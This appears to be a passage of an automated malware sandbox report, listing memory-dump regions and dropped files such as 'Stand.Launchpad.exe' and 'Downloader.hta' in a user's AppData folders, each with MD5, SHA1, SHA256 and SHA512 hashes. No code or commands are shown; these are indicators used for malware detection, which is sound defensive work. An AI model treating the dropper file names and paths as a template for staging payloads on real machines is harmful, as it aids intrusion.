memory/1984-101-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/2572-100-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/1196-97-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/1176-96-0x00007FFDB1090000-0x00007FFDB10A0000-memory.dmp
memory/2116-142-0x000001D474160000-0x000001D474188000-memory.dmp
C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
| MD5 | 86cfa35ef19ca1d1ed0dfbc031211833 |
| SHA1 | 871f69775937be2dd3b066d9747b69fc07ddc58d |
| SHA256 | f198341fbaac08171a208c4e61f6a47609cb0991d4c4e3f6741c1e281e17c5f5 |
| SHA512 | 5889f8b3c033342c8b3749ef5191dc1206da03f0c5327a11dcf0e0ba186ae8a71514993f484fdfbcd6bdb515167bedd73cf3d3a6c8d86056889a823bac485261 |
memory/2764-156-0x0000000000430000-0x0000000000450000-memory.dmp
C:\Users\Admin\AppData\Roaming\Downloader.hta
| MD5 | 4ec749a8c1d7d0a4be501465d297d3dc |
| SHA1 | d7727cb4dc96d653bce6c6bbe70ff171ecc197b7 |
| SHA256 | 7bd2ea1be121e862cc93c8c41429d0f9d1d3b57478e586bbeed7d3d3be3a96f6 |
| SHA512 | 38d4ca973a3da55453dd37cb8965db223d42b03493b8d5390ab58cc3b53df1405119663f91bcef2ce2efc082ea17b0021c407eb65c6076d127408f2ff2c7d44e |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | bba50f9dd06b3e0c56956b6424ad81c3 |
| SHA1 | c7dfdf28f9f4407a047e40c147460f9c638a8cda |
| SHA256 | 697a4786ef432696bfa4c4ce12b1be8c69ccde75c5a0c15d33dbb13bb68c97e3 |
| SHA512 | bc5131dcc49d1b5e328f4d3884dd308d82f832bbf59a5ec42ebd4017b28f95c4e89746787914f8ce26cf4232341961c5b2457fc9f811bba48ee04be1bda1cfff |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 45f53352160cf0903c729c35c8edfdce |
| SHA1 | b35a4d4fbaf2a3cc61e540fc03516dd70f3c34ab |
| SHA256 | 9cf18d157a858fc143a6de5c2dd3f618516a527b34478ac478d8c94ff027b0d2 |
| SHA512 | e3fa27a80a1df58acb49106c306dab22e5ed582f6b0cd7d9c3ef0a85e9f5919333257e88aa44f42a0e095fd577c9e12a02957a7845c0d109f821f32d8d3343f3 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | a116d56b723a0d248b5a38cbc3429288 |
| SHA1 | 75efdbe43b0db5b4b4761166e1a6926316715f54 |
| SHA256 | f17648922a442aed77374620c12e8a0fb492290a191204ccdb1eca3dcf2d6258 |
| SHA512 | a19db0a5120a5857571ec2593d80e9d78405a9fb4bee0f358c8dca484d1f2760d79cdb9a7abfd48db1175d09be6b190e0d02837f59cc10f212215f16b14986c0 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 050567a067ffea4eb40fe2eefebdc1ee |
| SHA1 | 6e1fb2c7a7976e0724c532449e97722787a00fec |
| SHA256 | 3952d5b543e5cb0cb84014f4ad9f5f1b7166f592d28640cbc3d914d0e6f41d2e |
| SHA512 | 341ad71ef7e850b10e229666312e4bca87a0ed9fe25ba4b0ab65661d5a0efa855db0592153106da07134d8fc2c6c0e44709bf38183c9a574a1fa543189971259 |
memory/1596-207-0x000001E8C16A0000-0x000001E8C16B6000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
| MD5 | eb773a405cbefe83accccd25904c11f5 |
| SHA1 | 9050118975669ddcffc04e66f97e6fce63f867f9 |
| SHA256 | e36293e5934276da4910d6248df27b636816c5e53fd3444cac68f814e7643d4f |
| SHA512 | d55046e5266140abd089937a441a715ecdb4eab0161e0d65a783759c7dbe3555e1f9d0b19a5e6f3e28c09c48c7dac481111d7b5e05d20a59b86d815f0b795ab7 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
| MD5 | 27f7fa1ffeff20843b73eadaa9b8f6c7 |
| SHA1 | d317974d43624cb9ce62eb08dfc366ff687a7e5f |
| SHA256 | 77ba1f4787a46de61124818f55d305ef780ff8c34c525537f3b0fa73688cda2c |
| SHA512 | 927b039807714709749ed5ab0b2a7ba035a6038e77215f1b2f3e943d6c4d214428957e5ed1e660a5cc33b213d3eda7aa5396b9c593c5ec430d99b02cfa68f26f |